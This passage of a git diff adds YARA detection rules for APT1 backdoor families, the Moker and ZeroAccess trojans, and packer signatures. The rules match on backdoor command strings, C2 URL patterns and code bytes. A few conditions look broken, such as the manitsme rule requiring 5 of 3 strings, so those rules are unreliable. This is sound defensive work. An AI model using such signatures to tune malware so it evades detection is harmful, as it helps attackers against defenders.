+        $a = "WNetCancelConnection2W"
+        $b = "WNetAddConnection2W"
+		$c = "%s -f:filename"
+		$d = "CreateProcessWithLogonW"
+		$e = "127.0.0.1"
+    condition:
+        filesize < 300KB and (5 of ($a,$b,$c,$d,$e))
+}
+
+rule miniasp : apt
+{
+    strings:
+        $a = ".asp?device_t=%s&key=%s&device_id=%s&cv=%s"
+        $b = "result=%s"
+        $c = "command=%s"
+		$d = "wakeup="
+    condition:
+        filesize < 300KB and (4 of ($a,$b,$c,$d))
+}
+
+rule newsreels : apt
+{
+    strings:
+        $a = "name=%s&userid=%04d&other=%c%s"
+        $b = "thequickbrownfxjmpsvalzydg"
+    condition:
+        filesize < 300KB and (2 of ($a,$b))
+}
+
+rule seasalt : apt
+{
+    strings:
+        $a = "%4d-%02d-%02d %02d:%02d:%02d"
+        $b = "upfileok"
+        $c = "upfileer"
+		$d = "configserver"
+    condition:
+        filesize < 300KB and (4 of ($a,$b,$c,$d))
+}
+
+rule starsypound : apt
+{
+    strings:
+        $a = "*(SY)# cmd"
+        $b = "send = %d"
+        $c = "cmd.exe"
+		$d = "COMSPEC"
+    condition:
+        filesize < 100KB and (4 of ($a,$b,$c,$d))
+}
+
+rule sword : apt
+{
+    strings:
+        $a = "Agent%ld"
+        $b = "thequickbrownfxjmpsvalzydg"
+        $c = "down:"
+		$d = "exit"
+    condition:
+        filesize < 100KB and (4 of ($a,$b,$c,$d))
+}
+
+rule tabmsgsql : apt
+{
+    strings:
+        $a = "accessip:%s"
+        $b = "clientip:%s"
+        $c = "Mozilla/4.0 (compatible; )"
+		$d = "fromid:%s"
+    condition:
+        filesize < 300KB and (4 of ($a,$b,$c,$d))
+}
+
+
+rule tarsip : apt
+{
+    strings:
+        $a = "%s/%s?%s"
+        $b = "Mozilla/4.0 (compatible; MSIE 6.0;"
+        $c = "Can not xo file!"
+		$d = "cnnd"
+    condition:
+        filesize < 100KB and (4 of ($a,$b,$c,$d))
+}
+
+rule tarsip_eclipse : apt
+{
+    strings:
+        $a = "Eclipse"
+        $b = "PIGG"
+        $c = "WAKPDT"
+		$d = "show.asp?"
+		$e = "flink?"
+    condition:
+        filesize < 300KB and (5 of ($a,$b,$c,$d,$e))
+}
+
+rule warp : apt
+{
+    strings:
+        $a = "Mozilla/4.0 (compatible; )"
+        $b = "%u.%u.%u.%u"
+        $c = "System info for machine"
+		$d = "%2.2d-%2.2d-%4.4d %2.2d:%2.2d"
+		$e = "https"
+    condition:
+        filesize < 300KB and (5 of ($a,$b,$c,$d,$e))
+}
+
+rule webc2_adspace : apt
+{
+    strings:
+        $a = "ntshrui"
+        $b = "Microsoft(R) Windows(R) Operating System"
+    condition:
+        filesize < 100KB and (2 of ($a,$b))
+}
+
+
+rule webc2_ausov : apt
+{
+    strings:
+        $a = "ntshrui"
+        $b = "Microsoft(R) Windows(R) Operating System"
+    condition:
+        filesize < 300KB and (2 of ($a,$b))
+}
+
+rule webc2_bolid : apt
+{
+    strings:
+        $a = ".htmlEEEEEEEEEEEEEEEEEEEEEEEEEEEEsleep:"
+        $b = "downloadcopy:"
+		$c = "geturl:"
+		$d = "Q3JlYXRlUHJvY2Vzc0E="
+    condition:
+        filesize < 100KB and (4 of ($a,$b,$c,$d))
+}
+
+
+rule webc2_clover : apt
+{
+    strings:
+        $a = "m i c r o s o f t"
+        $b = "Default.asp"
+		$c = "background="
+		$d = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
+    condition:
+        filesize < 100KB and (4 of ($a,$b,$c,$d))
+}
+
+rule webc2_cson : apt
+{
+    strings:
+        $a = "/Default.aspx?INDEX="
+        $b = "/Default.aspx?ID="
+		$c = "Windows+NT+5.1"
+		$d = "<!--"
+    condition:
+        filesize < 100KB and (4 of ($a,$b,$c,$d))
+}
+
+rule webc2_div : apt
+{
+    strings:
+        $a = "Microsoft Internet Explorer"
+        $b = "Hello from MFC!"
+		$c = "3DC76854-C328-43D7-9E07-24BF894F8EF5"
+    condition:
+        filesize < 100KB and (3 of ($a,$b,$c))
+}
+
+rule webc2_greencat : apt
+{
+    strings:
+        $a = "shell"
+        $b = "getf/putf FileName <N>"
+		$c = "kill </p|/s> <pid|ServiceName>"
+		$d = "list </p|/s|/d>"
+    condition:
+        filesize < 100KB and (4 of ($a,$b,$c,$d))
+}
+
+rule webc2_head : apt
+{
+    strings:
+        $a = "<head>"
+        $b = "</head>"
+		$c = "connect %s"
+		$d = "https://"
+		$e = "Ready!"
+    condition:
+        filesize < 100KB and (5 of ($a,$b,$c,$d,$e))
+}
+
+rule webc2_kt3 : apt
+{
+    strings:
+        $a = "*!Kt3+v| s:"
+        $b = "*!Kt3+v| dne"
+		$c = "*!Kt3+v|"
+    condition:
+        filesize < 100KB and (3 of ($a,$b,$c))
+}
+
+rule webc2_qbp : apt
+{
+    strings:
+        $a = "%t?%d-%d-%d="
+        $b = "Hello@)!0"
+		$c = "?id="
+    condition:
+        filesize < 100KB and (3 of ($a,$b,$c))
+}
+
+rule webc2_rave : apt
+{
+    strings:
+        $a = "HTTP Mozilla/5.0(compatible+MSIE)"
+        $b = "123!@#qweQWE"
+		$c = "%s\\%s"
+    condition:
+        filesize < 100KB and (3 of ($a,$b,$c))
+}
+
+rule webc2_table : apt
+{
+    strings:
+        $a = "<![<endif>]--->"
+        $b = "CreateThread() failed: %d"
+		$c = "class="
+    condition:
+        filesize < 100KB and (3 of ($a,$b,$c))
+}
+
+rule webc2_ugx : apt
+{
+    strings:
+        $a = "!@#dmc#@!"
+        $b = "!@#tiuq#@!"
+		$c = "!@#troppusnu#@!"
+    condition:
+        filesize < 100KB and (3 of ($a,$b,$c))
+}
+
+rule webc2_y21k : apt
+{
+    strings:
+        $a = "c2xlZXA="
+        $b = "+Windows+NT+5.1"
+		$c = "cXVpdA=="
+    condition:
+        filesize < 100KB and (3 of ($a,$b,$c))
+}
+
+rule webc2_yahoo : apt
+{
+    strings:
+        $a = "<yahoo sb="
+        $b = "<yahoo ex="
+		$c = "letusgo"
+    condition:
+        filesize < 100KB and (3 of ($a,$b,$c))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/malc0de/manitsme_apt1.yar b/yara-mikesxrs/malc0de/manitsme_apt1.yar
new file mode 100644
index 0000000..05ac0fb
--- /dev/null
+++ b/yara-mikesxrs/malc0de/manitsme_apt1.yar
@@ -0,0 +1,9 @@
+rule manitsme : apt
+{
+    strings:
+        $a = "rouji"
+        $b = "Visual Studio"
+        $c = "UglyGorilla"
+    condition:
+        filesize < 300KB and (5 of ($a,$b,$c))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/malc0de/mapiget_apt1.yar b/yara-mikesxrs/malc0de/mapiget_apt1.yar
new file mode 100644
index 0000000..90958f4
--- /dev/null
+++ b/yara-mikesxrs/malc0de/mapiget_apt1.yar
@@ -0,0 +1,11 @@
+rule mapiget : apt
+{
+    strings:
+        $a = "WNetCancelConnection2W"
+        $b = "WNetAddConnection2W"
+		$c = "%s -f:filename"
+		$d = "CreateProcessWithLogonW"
+		$e = "127.0.0.1"
+    condition:
+        filesize < 300KB and (5 of ($a,$b,$c,$d,$e))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/malc0de/miniasp_apt1.yar b/yara-mikesxrs/malc0de/miniasp_apt1.yar
new file mode 100644
index 0000000..b80a6b3
--- /dev/null
+++ b/yara-mikesxrs/malc0de/miniasp_apt1.yar
@@ -0,0 +1,10 @@
+rule miniasp : apt
+{
+    strings:
+        $a = ".asp?device_t=%s&key=%s&device_id=%s&cv=%s"
+        $b = "result=%s"
+        $c = "command=%s"
+		$d = "wakeup="
+    condition:
+        filesize < 300KB and (4 of ($a,$b,$c,$d))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/malc0de/newsreels_apt1.yar b/yara-mikesxrs/malc0de/newsreels_apt1.yar
new file mode 100644
index 0000000..6039c01
--- /dev/null
+++ b/yara-mikesxrs/malc0de/newsreels_apt1.yar
@@ -0,0 +1,8 @@
+rule newsreels : apt
+{
+    strings:
+        $a = "name=%s&userid=%04d&other=%c%s"
+        $b = "thequickbrownfxjmpsvalzydg"
+    condition:
+        filesize < 300KB and (2 of ($a,$b))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/malc0de/seasalt_apt1.yar b/yara-mikesxrs/malc0de/seasalt_apt1.yar
new file mode 100644
index 0000000..de73709
--- /dev/null
+++ b/yara-mikesxrs/malc0de/seasalt_apt1.yar
@@ -0,0 +1,10 @@
+rule seasalt : apt
+{
+    strings:
+        $a = "%4d-%02d-%02d %02d:%02d:%02d"
+        $b = "upfileok"
+        $c = "upfileer"
+		$d = "configserver"
+    condition:
+        filesize < 300KB and (4 of ($a,$b,$c,$d))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/malc0de/starsypound_apt1.yar b/yara-mikesxrs/malc0de/starsypound_apt1.yar
new file mode 100644
index 0000000..0ec6f5f
--- /dev/null
+++ b/yara-mikesxrs/malc0de/starsypound_apt1.yar
@@ -0,0 +1,10 @@
+rule starsypound : apt
+{
+    strings:
+        $a = "*(SY)# cmd"
+        $b = "send = %d"
+        $c = "cmd.exe"
+		$d = "COMSPEC"
+    condition:
+        filesize < 100KB and (4 of ($a,$b,$c,$d))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/malc0de/sword_apt1.yar b/yara-mikesxrs/malc0de/sword_apt1.yar
new file mode 100644
index 0000000..f8746f7
--- /dev/null
+++ b/yara-mikesxrs/malc0de/sword_apt1.yar
@@ -0,0 +1,10 @@
+rule sword : apt
+{
+    strings:
+        $a = "Agent%ld"
+        $b = "thequickbrownfxjmpsvalzydg"
+        $c = "down:"
+		$d = "exit"
+    condition:
+        filesize < 100KB and (4 of ($a,$b,$c,$d))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/malc0de/tabmsgsql_apt1.yar b/yara-mikesxrs/malc0de/tabmsgsql_apt1.yar
new file mode 100644
index 0000000..fef9bed
--- /dev/null
+++ b/yara-mikesxrs/malc0de/tabmsgsql_apt1.yar
@@ -0,0 +1,10 @@
+rule tabmsgsql : apt
+{
+    strings:
+        $a = "accessip:%s"
+        $b = "clientip:%s"
+        $c = "Mozilla/4.0 (compatible; )"
+		$d = "fromid:%s"
+    condition:
+        filesize < 300KB and (4 of ($a,$b,$c,$d))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/malc0de/tarsip_apt1.yar b/yara-mikesxrs/malc0de/tarsip_apt1.yar
new file mode 100644
index 0000000..b8883c5
--- /dev/null
+++ b/yara-mikesxrs/malc0de/tarsip_apt1.yar
@@ -0,0 +1,10 @@
+rule tarsip : apt
+{
+    strings:
+        $a = "%s/%s?%s"
+        $b = "Mozilla/4.0 (compatible; MSIE 6.0;"
+        $c = "Can not xo file!"
+		$d = "cnnd"
+    condition:
+        filesize < 100KB and (4 of ($a,$b,$c,$d))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/malc0de/tarsip_eclipse_apt1.yar b/yara-mikesxrs/malc0de/tarsip_eclipse_apt1.yar
new file mode 100644
index 0000000..6052434
--- /dev/null
+++ b/yara-mikesxrs/malc0de/tarsip_eclipse_apt1.yar
@@ -0,0 +1,11 @@
+rule tarsip_eclipse : apt
+{
+    strings:
+        $a = "Eclipse"
+        $b = "PIGG"
+        $c = "WAKPDT"
+		$d = "show.asp?"
+		$e = "flink?"
+    condition:
+        filesize < 300KB and (5 of ($a,$b,$c,$d,$e))
+}
diff --git a/yara-mikesxrs/malc0de/warp_apt1.yar b/yara-mikesxrs/malc0de/warp_apt1.yar
new file mode 100644
index 0000000..36d83a6
--- /dev/null
+++ b/yara-mikesxrs/malc0de/warp_apt1.yar
@@ -0,0 +1,11 @@
+rule warp : apt
+{
+    strings:
+        $a = "Mozilla/4.0 (compatible; )"
+        $b = "%u.%u.%u.%u"
+        $c = "System info for machine"
+		$d = "%2.2d-%2.2d-%4.4d %2.2d:%2.2d"
+		$e = "https"
+    condition:
+        filesize < 300KB and (5 of ($a,$b,$c,$d,$e))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/malc0de/webc2_adspace_apt1.yar b/yara-mikesxrs/malc0de/webc2_adspace_apt1.yar
new file mode 100644
index 0000000..c629668
--- /dev/null
+++ b/yara-mikesxrs/malc0de/webc2_adspace_apt1.yar
@@ -0,0 +1,8 @@
+rule webc2_adspace : apt
+{
+    strings:
+        $a = "ntshrui"
+        $b = "Microsoft(R) Windows(R) Operating System"
+    condition:
+        filesize < 100KB and (2 of ($a,$b))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/malc0de/webc2_ausov_apt1.yar b/yara-mikesxrs/malc0de/webc2_ausov_apt1.yar
new file mode 100644
index 0000000..87f7fc0
--- /dev/null
+++ b/yara-mikesxrs/malc0de/webc2_ausov_apt1.yar
@@ -0,0 +1,8 @@
+rule webc2_ausov : apt
+{
+    strings:
+        $a = "ntshrui"
+        $b = "Microsoft(R) Windows(R) Operating System"
+    condition:
+        filesize < 300KB and (2 of ($a,$b))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/malc0de/webc2_bolid_apt1.yar b/yara-mikesxrs/malc0de/webc2_bolid_apt1.yar
new file mode 100644
index 0000000..9b10f20
--- /dev/null
+++ b/yara-mikesxrs/malc0de/webc2_bolid_apt1.yar
@@ -0,0 +1,10 @@
+rule webc2_bolid : apt
+{
+    strings:
+        $a = ".htmlEEEEEEEEEEEEEEEEEEEEEEEEEEEEsleep:"
+        $b = "downloadcopy:"
+		$c = "geturl:"
+		$d = "Q3JlYXRlUHJvY2Vzc0E="
+    condition:
+        filesize < 100KB and (4 of ($a,$b,$c,$d))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/malc0de/webc2_clover_apt1.yar b/yara-mikesxrs/malc0de/webc2_clover_apt1.yar
new file mode 100644
index 0000000..f6902e9
--- /dev/null
+++ b/yara-mikesxrs/malc0de/webc2_clover_apt1.yar
@@ -0,0 +1,10 @@
+rule webc2_clover : apt
+{
+    strings:
+        $a = "m i c r o s o f t"
+        $b = "Default.asp"
+		$c = "background="
+		$d = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
+    condition:
+        filesize < 100KB and (4 of ($a,$b,$c,$d))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/malc0de/webc2_cson_apt.yar b/yara-mikesxrs/malc0de/webc2_cson_apt.yar
new file mode 100644
index 0000000..0720cdc
--- /dev/null
+++ b/yara-mikesxrs/malc0de/webc2_cson_apt.yar
@@ -0,0 +1,10 @@
+rule webc2_cson : apt
+{
+    strings:
+        $a = "/Default.aspx?INDEX="
+        $b = "/Default.aspx?ID="
+		$c = "Windows+NT+5.1"
+		$d = "<!--"
+    condition:
+        filesize < 100KB and (4 of ($a,$b,$c,$d))
+}
diff --git a/yara-mikesxrs/malc0de/webc2_div_apt1.yar b/yara-mikesxrs/malc0de/webc2_div_apt1.yar
new file mode 100644
index 0000000..d4f07f4
--- /dev/null
+++ b/yara-mikesxrs/malc0de/webc2_div_apt1.yar
@@ -0,0 +1,9 @@
+rule webc2_div : apt
+{
+    strings:
+        $a = "Microsoft Internet Explorer"
+        $b = "Hello from MFC!"
+		$c = "3DC76854-C328-43D7-9E07-24BF894F8EF5"
+    condition:
+        filesize < 100KB and (3 of ($a,$b,$c))
+}
diff --git a/yara-mikesxrs/malc0de/webc2_greencat_apt1.yar b/yara-mikesxrs/malc0de/webc2_greencat_apt1.yar
new file mode 100644
index 0000000..b9cb199
--- /dev/null
+++ b/yara-mikesxrs/malc0de/webc2_greencat_apt1.yar
@@ -0,0 +1,10 @@
+rule webc2_greencat : apt
+{
+    strings:
+        $a = "shell"
+        $b = "getf/putf FileName <N>"
+		$c = "kill </p|/s> <pid|ServiceName>"
+		$d = "list </p|/s|/d>"
+    condition:
+        filesize < 100KB and (4 of ($a,$b,$c,$d))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/malc0de/webc2_head_apt1.yar b/yara-mikesxrs/malc0de/webc2_head_apt1.yar
new file mode 100644
index 0000000..bd8de58
--- /dev/null
+++ b/yara-mikesxrs/malc0de/webc2_head_apt1.yar
@@ -0,0 +1,11 @@
+rule webc2_head : apt
+{
+    strings:
+        $a = "<head>"
+        $b = "</head>"
+		$c = "connect %s"
+		$d = "https://"
+		$e = "Ready!"
+    condition:
+        filesize < 100KB and (5 of ($a,$b,$c,$d,$e))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/malc0de/webc2_kt3_apt1.yar b/yara-mikesxrs/malc0de/webc2_kt3_apt1.yar
new file mode 100644
index 0000000..bbc54d4
--- /dev/null
+++ b/yara-mikesxrs/malc0de/webc2_kt3_apt1.yar
@@ -0,0 +1,9 @@
+rule webc2_kt3 : apt
+{
+    strings:
+        $a = "*!Kt3+v| s:"
+        $b = "*!Kt3+v| dne"
+		$c = "*!Kt3+v|"
+    condition:
+        filesize < 100KB and (3 of ($a,$b,$c))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/malc0de/webc2_qbp_apt1.yar b/yara-mikesxrs/malc0de/webc2_qbp_apt1.yar
new file mode 100644
index 0000000..30f13bb
--- /dev/null
+++ b/yara-mikesxrs/malc0de/webc2_qbp_apt1.yar
@@ -0,0 +1,9 @@
+rule webc2_qbp : apt
+{
+    strings:
+        $a = "%t?%d-%d-%d="
+        $b = "Hello@)!0"
+		$c = "?id="
+    condition:
+        filesize < 100KB and (3 of ($a,$b,$c))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/malc0de/webc2_rave_apt1.yar b/yara-mikesxrs/malc0de/webc2_rave_apt1.yar
new file mode 100644
index 0000000..efc2829
--- /dev/null
+++ b/yara-mikesxrs/malc0de/webc2_rave_apt1.yar
@@ -0,0 +1,9 @@
+rule webc2_rave : apt
+{
+    strings:
+        $a = "HTTP Mozilla/5.0(compatible+MSIE)"
+        $b = "123!@#qweQWE"
+		$c = "%s\\%s"
+    condition:
+        filesize < 100KB and (3 of ($a,$b,$c))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/malc0de/webc2_table_apt1.yar b/yara-mikesxrs/malc0de/webc2_table_apt1.yar
new file mode 100644
index 0000000..be924f7
--- /dev/null
+++ b/yara-mikesxrs/malc0de/webc2_table_apt1.yar
@@ -0,0 +1,9 @@
+rule webc2_table : apt
+{
+    strings:
+        $a = "<![<endif>]--->"
+        $b = "CreateThread() failed: %d"
+		$c = "class="
+    condition:
+        filesize < 100KB and (3 of ($a,$b,$c))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/malc0de/webc2_ugx_apt1.yar b/yara-mikesxrs/malc0de/webc2_ugx_apt1.yar
new file mode 100644
index 0000000..2ddaa05
--- /dev/null
+++ b/yara-mikesxrs/malc0de/webc2_ugx_apt1.yar
@@ -0,0 +1,9 @@
+rule webc2_ugx : apt
+{
+    strings:
+        $a = "!@#dmc#@!"
+        $b = "!@#tiuq#@!"
+		$c = "!@#troppusnu#@!"
+    condition:
+        filesize < 100KB and (3 of ($a,$b,$c))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/malc0de/webc2_y21k_apt1.yar b/yara-mikesxrs/malc0de/webc2_y21k_apt1.yar
new file mode 100644
index 0000000..c5d4544
--- /dev/null
+++ b/yara-mikesxrs/malc0de/webc2_y21k_apt1.yar
@@ -0,0 +1,9 @@
+rule webc2_y21k : apt
+{
+    strings:
+        $a = "c2xlZXA="
+        $b = "+Windows+NT+5.1"
+		$c = "cXVpdA=="
+    condition:
+        filesize < 100KB and (3 of ($a,$b,$c))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/malc0de/webc2_yahoo_apt1.yar b/yara-mikesxrs/malc0de/webc2_yahoo_apt1.yar
new file mode 100644
index 0000000..4baea04
--- /dev/null
+++ b/yara-mikesxrs/malc0de/webc2_yahoo_apt1.yar
@@ -0,0 +1,9 @@
+rule webc2_yahoo : apt
+{
+    strings:
+        $a = "<yahoo sb="
+        $b = "<yahoo ex="
+		$c = "letusgo"
+    condition:
+        filesize < 100KB and (3 of ($a,$b,$c))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/malwarebytes/MonkerTrojan.yar b/yara-mikesxrs/malwarebytes/MonkerTrojan.yar
new file mode 100644
index 0000000..624c3d9
--- /dev/null
+++ b/yara-mikesxrs/malwarebytes/MonkerTrojan.yar
@@ -0,0 +1,12 @@
+rule MokerTrojan
+{ 
+meta:
+ author = "malwarebytes"
+ reference = "https://blog.malwarebytes.com/threat-analysis/2017/04/elusive-moker-trojan/"
+strings:
+ $mz = "MZ"
+ $key = {3D FF 24 8B 92 C1 D6 9D}
+
+condition: 
+ $mz at 0 and uint32(uint32(0x3C)) == 0x455 and $key
+}
diff --git a/yara-mikesxrs/malwarebytes/zeroaccess.yar b/yara-mikesxrs/malwarebytes/zeroaccess.yar
new file mode 100644
index 0000000..fb439a6
--- /dev/null
+++ b/yara-mikesxrs/malwarebytes/zeroaccess.yar
@@ -0,0 +1,12 @@
+rule zaccess_3
+{
+   meta:
+      author = "josh"
+      reference = "https://blog.malwarebytes.com/threat-analysis/2013/10/using-yara-to-attribute-malware/"
+      description = "ZeroAccess Trojan, WaesColaweExport found"
+   strings:
+      $WaesColaweExport = { 55 8B EC 5? 0F B6 [5] 8A [5] 8? [1-2] 99 0F B6 [1] F7 [1] B? [4] 8? [2] 8? [2] 66 (8B|A1) [4-5] 66 2B [1] 0F B7 [1] (35|83 F0) [1-4] C1 E8 [1-4] 8B E5 5D C2 }
+      $interface = "jjjinterface"
+   condition:
+      all of them
+}
diff --git a/yara-mikesxrs/malwarecookbook/packer.yara b/yara-mikesxrs/malwarecookbook/packer.yara
new file mode 100644
index 0000000..de883e3
--- /dev/null
+++ b/yara-mikesxrs/malwarecookbook/packer.yara
@@ -0,0 +1,16487 @@
+import "pe"
+
+	rule MSLRHv032afakePCGuard4xxemadicius
+	{
+	strings:
+			$a0 = { FC 55 50 E8 00 00 00 00 5D EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 58 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule EnigmaProtector1XSukhovVladimirSergeNMarkin
+	{
+	strings:
+			$a0 = { 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 4D 65 73 73 61 67 65 42 6F 78 41 00 00 00 52 65 67 43 6C 6F 73 65 4B 65 79 00 00 00 53 79 73 46 72 65 65 53 74 72 69 6E 67 00 00 00 43 72 65 61 74 65 46 6F 6E 74 41 00 00 00 53 68 65 6C 6C 45 78 65 63 75 74 65 41 00 00 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule SPLayerv008
+	{
+	strings:
+			$a0 = { 8D 40 00 B9 ?? ?? ?? ?? 6A ?? 58 C0 0C ?? ?? 48 ?? ?? 66 13 F0 91 3B D9 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule DxPackV086Dxd
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5D 8B FD 81 ED 06 10 40 00 2B BD 94 12 40 00 81 EF 06 00 00 00 83 BD 14 13 40 00 01 0F 84 2F 01 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	rule FSGv110EngdulekxtMicrosoftVisualC60
+	{
+	strings:
+			$a0 = { 03 DE EB 01 F8 B8 80 ?? 42 00 EB 02 CD 20 68 17 A0 B3 AB EB 01 E8 59 0F B6 DB 68 0B A1 B3 }
+	$a1 = { 03 DE EB 01 F8 B8 80 ?? 42 00 EB 02 CD 20 68 17 A0 B3 AB EB 01 E8 59 0F B6 DB 68 0B A1 B3 AB EB 02 CD 20 5E 80 CB AA 2B F1 EB 02 CD 20 43 0F BE 38 13 D6 80 C3 47 2B FE EB 01 F4 03 FE EB 02 4F 4E 81 EF 93 53 7C 3C 80 C3 29 81 F7 8A 8F 67 8B 80 C3 C7 2B FE }
+	$a2 = { 91 EB 02 CD 20 BF 50 BC 04 6F 91 BE D0 ?? ?? 6F EB 02 CD 20 2B F7 EB 02 F0 46 8D 1D F4 00 }
+	$a3 = { C1 CE 10 C1 F6 0F 68 00 ?? ?? 00 2B FA 5B 23 F9 8D 15 80 ?? ?? 00 E8 01 00 00 00 B6 5E 0B }
+	$a4 = { D1 E9 03 C0 68 80 ?? ?? 00 EB 02 CD 20 5E 40 BB F4 00 00 00 33 CA 2B C7 0F B6 16 EB 01 3E }
+	$a5 = { E8 01 00 00 00 0E 59 E8 01 00 00 00 58 58 BE 80 ?? ?? 00 EB 02 61 E9 68 F4 00 00 00 C1 C8 }
+	$a6 = { EB 01 4D 83 F6 4C 68 80 ?? ?? 00 EB 02 CD 20 5B EB 01 23 68 48 1C 2B 3A E8 02 00 00 00 38 }
+	$a7 = { EB 02 AB 35 EB 02 B5 C6 8D 05 80 ?? ?? 00 C1 C2 11 BE F4 00 00 00 F7 DB F7 DB 0F BE 38 E8 }
+	$a8 = { EB 02 CD 20 ?? CF ?? ?? 80 ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 }
+	$a9 = { F7 DB 80 EA BF B9 2F 40 67 BA EB 01 01 68 AF ?? ?? BA 80 EA 9D 58 C1 C2 09 2B C1 8B D7 68 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point) or $a2 at (pe.entry_point) or $a3 at (pe.entry_point) or $a4 at (pe.entry_point) or $a5 at (pe.entry_point) or $a6 at (pe.entry_point) or $a7 at (pe.entry_point) or $a8 at (pe.entry_point) or $a9 at (pe.entry_point) 
+	}
+	
+	
+	rule TPPpackclane
+	{
+	strings:
+			$a0 = { E8 00 00 00 00 5D 81 ED F5 8F 40 00 60 33 ?? E8 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule FSGv110EngdulekxtMicrosoftVisualC6070
+	{
+	strings:
+			$a0 = { 0B D0 8B DA E8 02 00 00 00 40 A0 5A EB 01 9D B8 80 ?? ?? 00 EB 02 CD 20 03 D3 8D 35 F4 00 00 00 EB 01 35 EB 01 88 80 CA 7C 80 F3 74 8B 38 EB 02 AC BA 03 DB E8 01 00 00 00 A5 5B C1 C2 0B 81 C7 DA 10 0A 4E EB 01 08 2B D1 83 EF 14 EB 02 CD 20 33 D3 83 EF 27 }
+	$a1 = { 0B D0 8B DA E8 02 00 00 00 40 A0 5A EB 01 9D B8 80 ?? ?? ?? EB 02 CD 20 03 D3 8D 35 F4 00 }
+	$a2 = { 87 FE E8 02 00 00 00 98 CC 5F BB 80 ?? ?? 00 EB 02 CD 20 68 F4 00 00 00 E8 01 00 00 00 E3 }
+	$a3 = { F7 D8 40 49 EB 02 E0 0A 8D 35 80 ?? ?? ?? 0F B6 C2 EB 01 9C 8D 1D F4 00 00 00 EB 01 3C 80 }
+	$a4 = { F7 DB 80 EA BF B9 2F 40 67 BA EB 01 01 68 AF ?? A7 BA 80 EA 9D 58 C1 C2 09 2B C1 8B D7 68 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point) or $a2 at (pe.entry_point) or $a3 at (pe.entry_point) or $a4 at (pe.entry_point)
+	}
+	
+	
+	rule Thinstall24x25xJititSoftware
+	{
+	strings:
+			$a0 = { 55 8B EC B8 ?? ?? ?? ?? BB ?? ?? ?? ?? 50 E8 00 00 00 00 58 2D ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? BD ?? ?? ?? ?? 03 E8 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule LocklessIntroPack
+	{
+	strings:
+			$a0 = { 2C E8 ?? ?? ?? ?? 5D 8B C5 81 ED F6 73 ?? ?? 2B 85 ?? ?? ?? ?? 83 E8 06 89 85 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule AHTeamEPProtector03faketElock061FEUERRADER
+	{
+	strings:
+			$a0 = { 90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 E9 00 00 00 00 60 E8 00 00 00 00 58 83 C0 08 F3 EB FF E0 83 C0 28 50 E8 00 00 00 00 5E B3 33 8D 46 0E 8D 76 31 28 18 F8 73 00 C3 8B FE B9 3C 02 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ExeStealth275aWebtoolMaster
+	{
+	strings:
